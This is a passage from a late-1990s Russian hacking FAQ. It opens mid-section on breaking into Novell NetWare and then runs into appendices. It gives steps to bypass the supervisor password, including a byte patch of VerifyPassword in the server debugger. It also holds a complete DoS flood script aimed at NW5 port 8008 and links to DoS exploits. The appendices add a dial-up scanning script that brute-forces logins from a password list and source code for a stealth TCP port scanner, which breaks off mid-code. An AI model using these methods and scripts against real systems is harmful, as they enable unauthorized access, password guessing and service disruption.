поддержкой    файловой    системы   NetWare   (www.timpanogas.com)   и
переименовать  файлы обычным образом. В любом случае после bindrest не
забудьте сделать setpass, т.к. bindrest восстанавливает старый пароль.

    Еще  один  красивый способ, предложенный в 1996 году в конференции
SU.NET, это загрузка NetWare с "заглушкой" тома SYS. С консоли сервера
тома  размонтируются,  том SYS переименовывается в какое-нибудь другое
имя, а один из других томов переименовывается в SYS. Система грузится,
вход   супервизором  без  пароля,  потом  размонтирование  и  обратное
переименование томов. Опять же не стОит забывать про setpass.

    И, наконец, третий способ. На консоли сервера входим во встроенный
отладчик  (<Alt><RShift><LShift><Esc>)  и ищем функцию VerifyPassword.
Предварительно  сохранив  оригинальные коды, правим функцию, чтобы она
всегда возвращала "TRUE". Для NW 3.12 в последовательности 74 1F BE FF
заменяем  74 на EB.  Теперь  любой  пароль  любого  пользователя будет
принят  как  правильный.  После регистрации надо произвести на сервере
обратные изменения и даем любимую команду setpass. 
Примечание.  Вход в отладчик будет невозможен, если в autoexec.ncf или
с консоли дана команда "secure console".

    Если  администратор  работает  с  сервером  удаленно  (при  помощи
RCONSOLE),  можно попытаться перехватить сессию и расшифровать пароль.
Очень  подробно об этом написано в "Netware Remote.NLM Weak Encryption
Vulnerability" по адресу:
http://www.securityfocus.com/vdb/bottom.html?vid=482

    Еще  один  тип атак - Denial of service (см. вопрос 1.1.8). Сам по
себе  не имеет смысла, но может пригодиться когда необходимо "заткнуть
на время" какую-нибудь станцию или сервер при проведении другой атаки.
По адресу  http://www.nmrc.org/files/netware/  есть  два эксплоита для
DoS-атак:
* burn.zip (26523) - burn up drive space on SYS: volume by filling
up the SYS$ERR.LOG. About 1MB per minute. Exe and source code by
Jitsu-Disk.
* yang.zip (27489) - yet Another Netware Game. Flood the server and
its clients with bogus broadcast packets. Exe and source code by
Jitsu-Disk.

Оригинальный вариант с DoS описан в статье
http://www.hackzone.ru/articles/netware.html

Novell Client 3.0.1 и Novell Client 3.0 (для Windows) "валят"
операционку если открыть соединение на 427 порт TCP
(например, nmap -sS -p 427 <target>). Предполагается, что
установлен IP-компонент.

Серверу NW5 можно попортить жизнь путем "забивания" большими (около
4k) запросами на порт 8008. Например, вот так:
================= begin crash.sh ===========
#!/bin/sh

SERVER=127.0.0.1
PORT=8008
WAIT=3

DUZOA=`perl -e '{print "A"x4093}'`
MAX=30

while :; do
  ILE=0
    while [ $ILE -lt $MAX ]; do
    (
      (
       echo "GET /"
       echo $DUZOA
        echo
      ) | nc $SERVER $PORT &
    sleep $WAIT
    kill -9 $!
    ) &>/dev/null &
  ILE=$[ILE+1]
  done
sleep $WAIT
done
======= end =====
Где  взять perl и что писать в переменной SERVER вместо 127.0.0.1 вы,
конечно, знаете :)
---

2.2.5 Хочу подробнее! Где еще почитать о взломе NetWare?
* "Теория и практика обеспечения информационной безопасности".
  Под редакцией П.Д. Зегжды. "Яхтсмен", Москва, 1996.
* "Секреты безопасности сетей". Дэвид Стенг, Сильвия Мун.
  "Диалектика", Киев, 1996.
* "Novell NetWare 4.1 в подлиннике. Наиболее полный
  справочник." Билл Лоренс. BHV, Санкт-Петербург, 1996.
* http://security.tsu.ru (зеркало на http://www.hackzone.ru/nsp/).
  Особенно рекомендуется http://www.hackzone.ru/nsp/inwr.html :)
* http://www.nmrc.org
* FAQ от NMRC (на английском) по взлому NetWare можно также получить:
jumper.mcc.ac.uk    /pub/security/netware     faq.zip
ftp.fastlane.net    /pub/nomad/nw             faq.zip
ftp.best.com        /pub/almcepud/hacks       faq.zip
---


                           Часть 3. Разное.

3.1 Условия распространения.

    Данный документ может свободно распространяться в электронном виде
при условии сохранения его целостности. Вы можете свободно  передавать
и применять его если это не связано с получением прибыли. Коммерческое
использование запрещено, штраф $10.000(десять тысяч долларов США).
    ПPEДOCТEPEЖEHИE  издaтeлям  гaзeт, жypнaлoв, бpoшюp, книг и пpочей
коммерческой пeчaтнoй пpoдyкции:
  - КAТEГOPИЧECКИ  зaпpeщeнa  пepeпeчaткa нa твepдыx нocитeляx дaннoгo
фaйлa,  пoлнocтью  или  чacтичнo  бeз  пpедвapитeльнoгo coглacoвaния c
peдaктopoм.
---

3.2 Где найти свежую версию FAQ ?

BBS:
     ____  _____/\  _________ ____  _____________
    / __ \/ __ /  \/  /  ___/  _  \/  __ /_   __/   RU.NETHACK Support
   _//_/ / __ /      /___  /  //  /  __ / /  /    2:5030/493.0@FidoNet
  /____ /____/__/\__/\____/\_____/__/Station/   9600,V34,V42b,XA,U,TVF
                                          \/
   FREQ: NETHACK

FTP:
   ftp://proxy.etu.spb.ru/pub/texts/neth_faq.zip

HTTP:
   http://www.nether.net/~dzh/neth_faq.zip
---

3.3 Как связаться с авторами ?

    Связаться  с редактором  этого  документа  можно написав письмо по
одному из адресов:

  FidoNet: 2:5030/493@fidonet.org
  E-Mail : dzh@nether.net
           dzh@tomcat.ru (иногда недоступен)


    Вы  можете принять участие в работе над следующими версиями F.A.Q.
в качестве:
 - со-автора
 - консультанта
 - beta-тестера
---

3.4 Что еще можно почитать?

1.  Farmer D., Venema W., Improving  the  Security  of  Your  Site  by
    Breaking Into it, Eindhoven University of Technology.
2.  TCP port Stealth Scanning by Uriel Maimon, PHRACK #49, November 08,
    1996
3.  Smashing  The  Stack  For  Fun And Profit   by Aleph1, PHRACK #49,
    November 08, 1996.
4.  The alt.2600/#Hack FAQ by Voyager, A TNO Communications Production
5.  Unix Use and Security, From The Ground Up, by The Prophet.
6.  Безруков Н.Н., Компьютерная Вирусология. - Киев: КHИГА, 1989.
7.  Сеть РОСПАК. Руководство пользователя.
8.  Ю. Блэк. Сети ЭВМ: Протоколы, стандарты, интерфейсы: Пер. с англ.-
    М.: Мир, 1990.
9.  Мартин Дж. Вычислительные сети и распределённая обработка данных.
    Пер. с англ. - М.: Финансы и статистика, 1985.
10. Эви Немет, Гарт Снайдер,  Скотт Сиббас,  Трент Р. Хейн.      UNIX:
    руководство системного администратора: Пер. с англ.-К.: BHV, 1996.
11. Building Internet Firewalls by D.Brent Charman and
    Elizabeth D. Zwicky. Copyright (c) 1995 O'Relly & Associates, Inc.
---



Copyright (c) 1996-99 Denis Zhitenev All Rights Reserved Time: 04:05:09 Date: 06/20/2000 Содержание. Приложение 1. DNIC некоторых сетей. Приложение 2. Параметры ПАД (X.3). Приложение 3. Пример скрипта для сканирования Sprint. Приложение 4. Программа сканирования TCP портов. Приложение 5. Некоторые OS и их приглашения. Приложение 6. Пример программы для срыва стека. Приложение 7. Программа модификации log-файлов Unix. Приложение 8. Программа просмотра информации Dialup соединений Windows. Приложение 1. DNIC некоторых сетей. --- begin networks.txt --- X.25 Networks sorted at DNIC ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ DNIC Country Network 2022 Greece HELPAK 2041 Netherlands DATANET 2062 Belgium DCS 2080 France TRANSPAC 2080 Guadeloupe TRANSPAC 2080 Guiana (french) TRANSPAC 2080 Martinique TRANSPAC 2080 Reunion TRANSPAC 2081 NTI 2141 Spain TIDA 2145 Spain IBERPAC 2160 Hungary NEDIX 2161 DATEX-P 2201 Croatia CROAPAC 2201 Slovenia SIPAX.25 2201 Yugoslavia YUGOPAC 2222 Italy ITAPAC 2227 Italy ITALCABLE GW 2284 Switzerland TELEPAC 2301 Czech.Rep. EUROTEL 2301 Slovak.Rep. EUROTEL 2322 Austria DATEX-P 2329 Austria RADIOAUSTRIA 2341 UNITED KINGDOM BT 2342 UNITED KINGDOM PSS 2350 UNITED KINGDOM MERCURY 2351 UNITED KINGDOM MERCURY 2382 Denmark DATAPAK 2402 Sweden DATAPAK 2403 Sweden DATAPAC 2422 Norway DATAPAK 2442 Finland DATAPAK 2500 Russia ROSPACK 2501 Russia RO-SPRINT 2502 Russia IASNET 2503 Russia MMTL SOVPACK 2504 Russia Infotel 2506 Russia ROSNET 2507 Russia ISTOK-K 2508 Russia TRANSINFORM 2510 Russia SOVAMNET 2511 Russia EDITRANS 2550 Ukraine UKRPAC 2551 Ukraine BKCNET 2570 Belarusia BELPACK 2601 Poland POLPAC 2624 Germany DATEX-P 2680 Portugal TELEPAC 2704 Luxembourg LUXPAC 2724 Ireland EIRPAC 2740 Iceland ICEPAC 2802 Cyprus CYTAPAC 2821 Georgia IBERIAPAC 2841 Bulgaria BULPAC 2862 Turkey TURPAC 2863 Turkey TURPAC 2931 Slovenia SIPAX 25 2945 Andorra ANDORPAC 3020 Canada DATAPAC 3025 TELEGLOBE 3101 U.S.A. incl. Hawaii AT&T WORLDNET 3103 U.S.A. incl. Hawaii ITT-UDTS 3104 U.S.A. incl. Hawaii MCII/WUI 3106 U.S.A. incl. Hawaii TYMNET 3107 --------''--------- AT&T WORLDNET 3110 --------''--------- SPRINTNET 3113 --------''--------- RCAG REM. 3118 --------''--------- GRAPHNET 3119 --------''--------- TRT 3124 --------''--------- FTCC 3126 --------''--------- ADP/AUTON. 3134 --------''--------- AT&T ACCUNET 3136 --------''--------- GEISCO DATA 3137 --------''--------- INFONET 3140 --------''--------- CONNET 3150 --------''--------- GLOBNET 3151 --------''--------- DATAAMERICA 3152 Hawaii GTE 3300 Dominican Rep. UDTS 3300 Puerto Rico,Qatar,Sudan UDTS 3300 US-Virgin Isl. UDTS 3340 Mexico TELEPAC 3503 Bermuda BERMUDANET 3701 Dominican Rep. CODEPAC 3740 Trinidad/Tobago TEXDAT 3745 DATANET 4042 India GPSS 4131 Sri Lanka DATAPAC 4201 Saudi Arabia ALWASEET 4243 Un.Arab.Emirates EMDAN 4251 Israel ISRANET 4263 Bahrein BAHNET 4401 Japan DDX-P 4408 VENUS-P 4500 Korea Rep. HINET-P 4501 Korea Rep. DACOM-NET 4542 Hong Kong INTPAK 4545 Hong Kong DATAPAC 4546 INET 4550 Macao MACAOPAC 4602 China CHINAPAC 4876 Taiwan PACNET III 4877 Taiwan UDAS 5021 Malaysia MAYPAC 5052 Australia AUSTPAC 5053 OTC (A) 5101 Indonesia INDOSAT 5151 CAPWIRE 5152 PHILCOM 5154 Philippines GMCR 5156 Philippines EASTN./ETPI 5201 TYAILAND THAIPAC 5202 TYAILAND THAIPAC II 5301 New Zealand PACNET 5460 New Caledonia TOMPAC 5470 Polynesia(french) DOMPAC 6020 Egypt,Kuwait,Oman ARENTO 6041 Marocco MAGRIPAC 6050 TUNISTA 6081 Senegal SENPAC 6282 Gabon GABONPAC 6550 Sout Africa SAPONET-P 7120 Costa Rica RACSAPAC 7160 Peru PERUNET 7220 Argentina UDTS 7222 Argentina ARPAC 7240 Brazil INTERDATA 7241 RENPAC 7302 Chile RNTD-CHILE 7303 Chile CILEPAC 7305 TOMNET 7320 Colombia DAPAQ INT. 7342 Venezuela CANTV --- Приложение 2. Параметры ПАД (X.3). --- begin x3par.txt --- Параметры ПАД (X.3). з___б________________________________________________________________© Ё N Ё описание параметра и возможные значения параметра Ё ц___е________________________________________________________________╢ Ё 1.Ё вызов средств ПАД путем выхода из режима "передача данных" Ё Ё Ё 0 - вызов невозможен Ё Ё Ё 1 - вызов возможен по вводу символа CTRL/P Ё ц___е________________________________________________________________╢ Ё 2.Ё установление режима выдачи ПАД эха на символы, вводимые с Ё Ё Ё терминала Ё Ё Ё 0 - нет эха Ё Ё Ё 1 - эхо есть Ё ц___е________________________________________________________________╢ Ё 3.Ё выбор режима завершения сборки пакета данных Ё Ё Ё 0 - установить режим передачи пакета по его Ё Ё Ё заполнению Ё Ё Ё 1 - установить режим передачи пакета по Ё Ё Ё символу "*" Ё Ё Ё 2 - установить режим передачи пакета по Ё Ё Ё символу CR Ё Ё Ё 4 - установить режим передачи пакета по Ё Ё Ё символу ESC, DEL, END, ACK Ё Ё Ё 6 - установить режим передачи пакета по Ё Ё Ё символу CR, ESC, DEL, END, ACK Ё Ё Ё 126 - установить режим передачи пакета по Ё Ё Ё любому управляющему символу, кроме Ё Ё Ё символов редактирования при включенном Ё Ё Ё режиме редактирования Ё ц___е________________________________________________________________╢ Ё 4.Ё выбор времени задержки таймера Ё Ё Ё 0 - отсутствие таймаута Ё Ё Ё 1-255 - установить по выбору любое время от 1 Ё Ё Ё до 255 двадцатых долей секунды Ё Ё Ё (шаг 1/20 с) после ввода символа, по Ё Ё Ё истечении которого посылается пакет Ё Ё Ё данных Ё ц___е________________________________________________________________╢ Ё 5.Ё управление со стороны ПАД потоком данных от терминала Ё Ё Ё 0 - управление выключено, управляющие символы Ё Ё Ё CTRL/Q и CTRL/S передается как данные Ё Ё Ё 1 - управление потоком данных терминала с Ё Ё Ё помощью символов CTRL/Q и CTRL/S в режимах Ё Ё Ё передачи данных и командном Ё ц___е________________________________________________________________╢ Ё 6.Ё управление выдачей на терминал пользователя сообщений ПАД Ё Ё Ё 0 - сообщения ПАД и "подсказка" не выводятся на Ё Ё Ё терминал Ё Ё Ё 1 - сообщения ПАД выводится на терминал Ё Ё Ё 4 - "подсказка" ПАД выводятся на терминал Ё Ё Ё 5 - сообщения и "подсказка" ПАД выводятся на Ё Ё Ё терминал Ё ц___е________________________________________________________________╢ Ё 7.Ё выбор способа реакции ПАД получение сигнала BREAK от терминала Ё Ё Ё 0 - ПАД не реагирует на сигнал BREAK Ё Ё Ё 1 - ПАД передает на удаленную сторону пакет Ё Ё Ё "прерывание" Ё Ё Ё 2 - ПАД передает на удаленную сторону пакет Ё Ё Ё "сброс" Ё Ё Ё 4 - ПАД передает пакет индикации сигнала BREAK Ё Ё Ё на удаленную сторону Ё Ё Ё 8 - ПАД воспринимает сигнал BREAK как переход в Ё Ё Ё командный режим Ё Ё Ё 21 - данные, принимаемые из сети, сбрасываются, Ё Ё Ё а на удаленную станцию передается пакет Ё Ё Ё прерывания и пакет индикации сигнала BREAK Ё ц___е________________________________________________________________╢ Ё 8.Ё сброс ПАД данных, принимаемых из сети Ё Ё Ё 0 - данные, принимаемые из сети, выводятся на Ё Ё Ё терминал Ё Ё Ё 1 - данные, принимаемые из сети, сбрасываются Ё Ё Ё без вывода на терминал Ё ц___е________________________________________________________________╢ Ё 9.Ё заполнение после возврата каретки Ё Ё Ё 0 - нет вставки заполняющих символов после Ё Ё Ё возврата каретки Ё Ё Ё 1-255 - число символов заполнения, вставляемых ПАД Ё Ё Ё после возврата каретки для заполнения Ё Ё Ё промежутка времени, в течение которого Ё Ё Ё выполняется перевод строки; используется Ё Ё Ё для обеспечения нормальной работы терми- Ё Ё Ё налов с бумажной лентой Ё ц___е________________________________________________________________╢ Ё10.Ё формирование строки (не реализован) Ё Ё Ё 0 - отсутствие формирования строки Ё Ё Ё 1-255 - число символов, после которого вставляется Ё Ё Ё символ CR, что позволяет ограничивать Ё Ё Ё количество символов в строке, выводимой на Ё Ё Ё терминал Ё ц___е________________________________________________________________╢ Ё11.Ё скорость подключения терминала Ё Ё Ё 3 - 1200 бит/с установление согласно резуль- Ё Ё Ё 4 - 600 бит/с тату автоматического определе- Ё Ё Ё 12 - 2400 бит/с ния скорости одного из пере- Ё Ё Ё 13 - 4800 бит/с численных значений Ё Ё Ё 14 - 9600 бит/с Ё ц___е________________________________________________________________╢ Ё12.Ё управление потоком данных со стороны ПАД Ё Ё Ё 0 - управляющие символы CTRL/Q, CTRL/S пере- Ё Ё Ё даются как данные, ПАД не осуществляет Ё Ё Ё управление потоком данных Ё Ё Ё 1 - ПАД осуществляет управление потоком данных Ё Ё Ё с помощью символов CTRL/Q, CTRL/S Ё ц___е________________________________________________________________╢ Ё13.Ё вставка символа "новая строка" Ё Ё Ё 0 - символ LF не вставляется Ё Ё Ё 1 - ПАД вставляет символ LF после каждого Ё Ё Ё символа CR в потоке данных , выводимых на Ё Ё Ё терминал Ё Ё Ё 2 - ПАД вставляет символ LF после символа CR в Ё Ё Ё потоке данных от терминала Ё Ё Ё 4 - ПАД передает символ LF после возврата эха Ё Ё Ё на символ CR на терминал Ё Ё Ё 5 - ПАД вставляет символ LF после символа CR в Ё Ё Ё потоке данных на терминал Ё Ё Ё 6 - ПАД вставляет символ LF после символа CR в Ё Ё Ё потоке данных от терминала и после возвра- Ё Ё Ё та эхо на CR на терминал Ё Ё Ё 7 - ПАД вставляет символ LF после символа CR в Ё Ё Ё потоке данных от терминала и выводимых на Ё Ё Ё терминал и после возврата эха на CR на Ё Ё Ё терминал Ё ц___е________________________________________________________________╢ Ё14.Ё заполнение после символа "новая строка" Ё Ё Ё 0 - нет вставки заполняющих символов после LF Ё Ё Ё -255 - число символов заполнения , вставляемых ПАД Ё Ё Ё символов LF для заполнения промежутка Ё Ё Ё времени, в течение которого отрабатывается Ё Ё Ё LF; используется для обеспечения нормаль- Ё Ё Ё ной работы терминалов с бумажной лентой Ё ц___е________________________________________________________________╢ Ё15.Ё редактирование в режиме передачи данных Ё Ё Ё 0 - в режиме передачи данных функции редакти- Ё Ё Ё рования не используются, символы редакти- Ё Ё Ё рования передаются как данные Ё Ё Ё 1 - функции редактирования используются ПАД, Ё Ё Ё символы редактирования определяются пара- Ё Ё Ё метрами 16,17,18, 19 Ё ц___е________________________________________________________________╢ Ё16.Ё символ удаления последнего введенного символа Ё Ё Ё 0-127 - код символа, используемый для удаления Ё Ё Ё последнего введенного символа (как правило, Ё Ё Ё 8 - BACKSPACE, или СTRL/H) Ё ц___е________________________________________________________________╢ Ё17.Ё символ удаления последней введенной строки Ё Ё Ё 0-127 - код символа, используемый для удаления Ё Ё Ё строки (ка правило, 24 CTRL/X) Ё ц___е________________________________________________________________╢ Ё18.Ё символ выдачи на терминал последней введенной строки Ё Ё Ё 0-127 - код символа, используемый для вывода строки, Ё Ё Ё введенной пользователем (как правило, Ё Ё Ё 18 CTRL/R) Ё ц___е________________________________________________________________╢ Ё19.Ё редактирование в командном режиме Ё Ё Ё 0 - функция редактирования в командном режиме Ё Ё Ё отсутствует Ё Ё Ё 1 - редактирование в командном режиме для Ё Ё Ё терминалов с бумажной лентой Ё Ё Ё 2 - редактирование в командном режиме для видео- Ё Ё Ё терминалов Ё ц___е________________________________________________________________╢ Ё20.Ё маскирование эхо Ё Ё Ё 0 - маскирование эхо отсутствует Ё Ё Ё 1 - эхо не выдается на CR Ё Ё Ё 2 - эхо не выдается на LF Ё Ё Ё 64 - эхо не выдается на символы определяемые Ё Ё Ё параметрами 16,17,18 Ё Ё Ё 128 - эхо не выдается на символ DEL и все оста- Ё Ё Ё льные управляющие символы, не указанные выше Ё ц___е________________________________________________________________╢ Ё21.Ё проверка четности Ё Ё Ё 0 - ПАД принимает данные в формате 8N Ё Ё Ё 1 - ПАД принимает данные в формате 8N, при об- Ё Ё Ё работке старший бит не анализируется Ё Ё Ё 2 - ПАД принимает данные в формате 7Е1 Ё ц___е________________________________________________________________╢ Ё22.Ёуправление страницей Ё Ё Ё 0 - управление страницей отсутствует Ё Ё Ё 1-255 - условие управления страницей посылается ПАД Ё Ё Ё на терминал после указанного числа символов Ё Ё Ё LF Ё ю___а________________________________________________________________ы Примечание: Значения параметров могут являться комбинацией (суммой) из значений приведенных в таблице. --- Приложение 3. Пример скрипта для сканирования Sprint. --- begin sprint.scr --- ; ; Скрипт для сканирования Sprint by /DZh, 1996. ; Сопутствующие файлы : ; netfile - Начальный адрес ; success - Пустой файл для записи номеров удачных соединений ; passwd - информация для подбора (одно слово - одна строка) ; Integer netnumber, First String netstring, pswstring Open "netfile" Read netstring Atoi netstring, netnumber First = 0 Print "Resuming from netnumber ",netnumber Procedure DialIt hangup delay 10 While not connected dial "1" EndWhile put "^M" waitfor "TERMINAL=",20 IF not found dialit EndIF put "@D^M" EndPROC Procedure TryPass open "passwd" REPEAT read pswstring put pswstring waitfor "sword",10 IF found read pswstring put pswstring EndIF waitfor "ogin:","UserID","sername","name?","name =>",8 UNTIL not found EndPROC Procedure TryHost waitfor "[Y]/N)?","текст N >","Multi Host>","ogin:","UserID","sername","name?","name =>",10 SWITCH found Case 0: delay 1 put "@^M" waitfor "@",10 IF not found DialIt EndIF put "BYE^M" Case 1: put "^M" TryHost Case 2: put "N^M" TryHost Case 3: put "Q^M" waitfor "@",10 IF not found DialIt EndIF Case 4: TryPass Case 5: TryPass Case 6: TryPass Case 7: TryPass Case 8: TryPass EndSWITCH EndPROC Procedure TryAddr first=first+1 IF first > 100 script "rosnet.scr" EndIF While connected create "netfile" write netnumber put netnumber waitfor "DISCONNECTED","CONNECTED",10 SWITCH found Case 0: delay 1 put "@^M" waitfor "@",10 IF not found DialIt EndIF put "BYE^M" Case 1: Case 2: append "success" write netnumber put "" TryHost put "STAT" waitfor "NOT CONNECTED",3 IF not found dialit EndIF EndSWITCH netnumber=netnumber+1 EndWhile dialit TryAddr EndPROC logon dialit TryAddr logoff --- Приложение 4. Программа сканирования TCP портов. --- begin resolve.c --- /* * resolve.c * by Uriel Maimon (lifesux@cox.org) */ #include <sys/types.h> #include <string.h> #include <netdb.h> #include <stdio.h> #include <netinet/in.h> int resolve( const char *name, struct sockaddr_in *addr, int port ) { struct hostent *host; /* clear everything in case I forget something */ bzero(addr,sizeof(struct sockaddr_in)); if (( host = gethostbyname(name) ) == NULL ) { #ifndef RESOLVE_QUIET fprintf(stderr,"unable to resolve host \"%s\" -- ",name); perror(""); #endif return -1; } addr->sin_family = host->h_addrtype; memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length); addr->sin_port = htons(port); return 0; } int resolve_rns( char *name , unsigned long addr ) { struct hostent *host; unsigned long address; address = addr; host = gethostbyaddr((char *)&address,4,AF_INET); if (!host) { #ifndef RESOLVE_QUIET fprintf(stderr,"unable to resolve host \"%s\" -- ",inet_ntoa(addr)); perror(""); #endif return -1; } strcpy(name,host->h_name); return 0; } unsigned long addr_to_ulong(struct sockaddr_in *addr) { return addr->sin_addr.s_addr; } /* * EOF */ --- begin tcp_pkt.c --- /* * tcp_pkt.c * by Uriel Maimon (lifesux@cox.org) */ /* remove inlines for smaller size but lower speed */ #include <netinet/in.h> #include <string.h> #include <sys/types.h> #include <netinet/ip.h> #include <netinet/tcp.h> #define IPHDRSIZE sizeof(struct iphdr) #define TCPHDRSIZE sizeof(struct tcphdr) #define PSEUDOHDRSIZE sizeof(struct pseudohdr) /* * in_cksum -- * Checksum routine for Internet Protocol family headers (C Version) */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } /* * HEXDUMP() * * not too much to explain */ inline void HEXDUMP(unsigned len, unsigned char *data) { unsigned i; for (i=0;i<len;i++) printf("%02X%c",*(data+i),((i+1)%16) ? ' ' : '\n'); } /* * tcpip_send() * * sends a totally customized datagram with TCP/IP headers. */ inline int tcpip_send(int socket, struct sockaddr_in *address, unsigned long s_addr, unsigned long t_addr, unsigned s_port, unsigned t_port, unsigned char tcpflags, unsigned long seq, unsigned long ack, unsigned win, char *datagram, unsigned datasize) { struct pseudohdr { unsigned long saddr; unsigned long daddr; char useless; unsigned char protocol; unsigned int tcplength; }; unsigned char packet[2048]; struct iphdr *ip = (struct iphdr *)packet; struct tcphdr *tcp = (struct tcphdr *)(packet+IPHDRSIZE); struct pseudohdr *pseudo = (struct pseudohdr *)(packet+IPHDRSIZE-PSEUDOHDRSIZE); unsigned char *data = (unsigned char *)(packet+IPHDRSIZE+TCPHDRSIZE); /* * The above casts will save us a lot of memcpy's later. * The pseudo-header makes this way become easier than a union. */ memcpy(data,datagram,datasize); memset(packet,0,TCPHDRSIZE+IPHDRSIZE); /* The data is in place, all headers are zeroed. */ pseudo->saddr = s_addr; pseudo->daddr = t_addr; pseudo->protocol = IPPROTO_TCP; pseudo->tcplength = htons(TCPHDRSIZE+datasize); /* The TCP pseudo-header was created. */ tcp->th_sport = htons(s_port); tcp->th_dport = htons(t_port); tcp->th_off = 5; /* 20 bytes, (no options) */ tcp->th_flags = tcpflags; tcp->th_seq = htonl(seq); tcp->th_ack = htonl(ack); tcp->th_win = htons(win); /* we don't need any bigger, I guess. */ /* The necessary TCP header fields are set. */ tcp->th_sum = in_cksum(pseudo,PSEUDOHDRSIZE+TCPHDRSIZE+datasize); memset(packet,0,IPHDRSIZE); /* The pseudo-header is wiped to clear the IP header fields */ ip->saddr = s_addr; ip->daddr = t_addr; ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->id = random()%1996; ip->protocol = IPPROTO_TCP; /* should be 6 */ ip->tot_len = htons(IPHDRSIZE + TCPHDRSIZE + datasize); ip->check = in_cksum((char *)packet,IPHDRSIZE); /* The IP header is intact. The packet is ready. */ #ifdef TCP_PKT_DEBUG printf("Packet ready. Dump: \n"); #ifdef TCP_PKT_DEBUG_DATA HEXDUMP(IPHDRSIZE+TCPHDRSIZE+datasize,packet); #else HEXDUMP(IPHDRSIZE+TCPHDRSIZE,packet); #endif printf("\n"); #endif return sendto(socket, packet, IPHDRSIZE+TCPHDRSIZE+datasize, 0, (struct sockaddr *)address, sizeof(struct sockaddr)); } /* * EOF */ --- begin scantcp.c --- /* * Port Scanning without the SYN flag / Uriel Maimon * (lifesux@cox.org) */ #define RESOLVE_QUIET #include <stdio.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_tcp.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <errno.h> #include "resolve.c" #include "tcp_pkt.c" #define STCP_VERSION "1.32" #define STCP_PORT 1234 /* Our local port. */ #define STCP_SENDS 3 #define STCP_THRESHOLD 8 #define STCP_SLOWFACTOR 10 void banner(void) { printf("\nscantcp\n"); printf("version %s\n",STCP_VERSION); } void usage(const char *progname) { printf("\nusage: \n"); printf("%s <method> <source> <dest> <ports> <udelay> <delay> [sf]\n\n",progname); printf("\t<method> : 0: half-open scanning (type 0, SYN)\n"); printf("\t 1: stealth scanning (type 1, FIN)\n"); printf("\t 2: stealth scanning (type 2, ACK)\n"); printf("\t<source> : source address (this host)\n"); printf("\t<dest> : target to scan\n"); printf("\t<ports> : ports/and or ranges to scan - eg: 21-30,113,6000\n"); printf("\t<udelay> : microseconds to wait between TCP sends\n"); printf("\t<delay> : seconds to wait for TCP replies\n"); printf("\t[sf] : slow-factor in case sends are dectected to be too fast\n\n"); } unsigned char *dest_name; unsigned char *spoof_name; struct sockaddr_in destaddr; unsigned long dest_addr; unsigned long spoof_addr; unsigned long usecdelay; unsigned waitdelay; int slowfactor = STCP_SLOWFACTOR; struct portrec /* the port-data structure */ { unsigned n; int state; unsigned char ttl; unsigned short int window; unsigned long int seq; char sends; } *ports; char *portstr; unsigned char scanflags; int done; int rawsock; /* socket descriptors */ int tcpsock; int lastidx = 0; /* last sent index */ int maxports; /* total number of ports */ void timeout(int signum) /* timeout handler */ { /* this is actually the data */ int someopen = 0; /* analyzer function. werd. */ unsigned lastsent; int checklowttl = 0; struct portrec *p; printf("* SCANNING IS OVER\n\n"); fflush(stdout); done = 1; for (lastsent = 0;lastsent<maxports;lastsent++) { p = ports+lastsent; if (p->state == -1) if (p->ttl > 64) { checklowttl = 1; break; } } /* the above loop checks whether there's need to report low-ttl packets */ for (lastsent = 0;lastsent<maxports;lastsent++) { p = ports+lastsent; destaddr.sin_port = htons(p->n); tcpip_send(rawsock,&destaddr, spoof_addr,destaddr.sin_addr.s_addr, STCP_PORT,ntohs(destaddr.sin_port), TH_RST, p->seq++, 0, 512, NULL, 0); } /* just RST -everything- sent */ /* this inclued packets a reply */ /* (even RST) was recieved for */ for (lastsent = 0;lastsent<maxports;lastsent++) { /* here is the data analyzer */ p = ports+lastsent; switch (scanflags) { case TH_SYN: switch(p->state) { case -1: break; case 1 : printf("# port %d is listening.\n",p->n); someopen++; break; case 2 : printf("# port %d maybe listening (unknown response).\n", p->n); someopen++; break; default: printf("# port %d needs to be rescanned.\n",p->n); } break; case TH_ACK: switch (p->state) { case -1: if (((p->ttl < 65) && checklowttl) || (p->window >0)) { printf("# port %d maybe listening",p->n); if (p->ttl < 65) printf(" (low ttl)"); if (p->window >0) printf(" (big window)"); printf(".\n"); someopen++; } break; case 1: case 2: printf("# port %d has an unexpected response.\n", p->n); break; default: printf("# port %d needs to be rescanned.\n",p->n); } break; case TH_FIN: switch (p->state) { case -1: break; case 0 : printf("# port %d maybe open.\n",p->n); someopen++; break; default: printf("# port %d has an unexpected response.\n",p->n); } } } printf("-----------------------------------------------\n"); printf("# total ports open or maybe open: %d\n\n",someopen); free(ports); exit(0); /* heh. */ } int resolve_one(const char *name, unsigned long *addr, const char *desc) { struct sockaddr_in tempaddr; if (resolve(name, &tempaddr,0) == -1) { printf("error: can't resolve the %s.\n",desc); return -1; } *addr = tempaddr.sin_addr.s_addr; return 0; } void give_info(void) { printf("# response address : %s (%s)\n",spoof_name,inet_ntoa(spoof_addr)); printf("# target address : %s (%s)\n",dest_name,inet_ntoa(dest_addr)); printf("# ports : %s\n",portstr); printf("# (total number of ports) : %d\n",maxports); printf("# delay between sends : %lu microseconds\n",usecdelay); printf("# delay : %u seconds\n",waitdelay); printf("# flood dectection threshold : %d unanswered sends\n",STCP_THRESHOLD); printf("# slow factor : %d\n",slowfactor); printf("# max sends per port : %d\n\n",STCP_SENDS); } int parse_args(int argc, char *argv[]) { if (strrchr(argv[0],'/') != NULL) argv[0] = strrchr(argv[0],'/') + 1; if (argc < 7) { printf("%s: not enough arguments\n",argv[0]); return -1; } switch (atoi(argv[1])) { case 0 : scanflags = 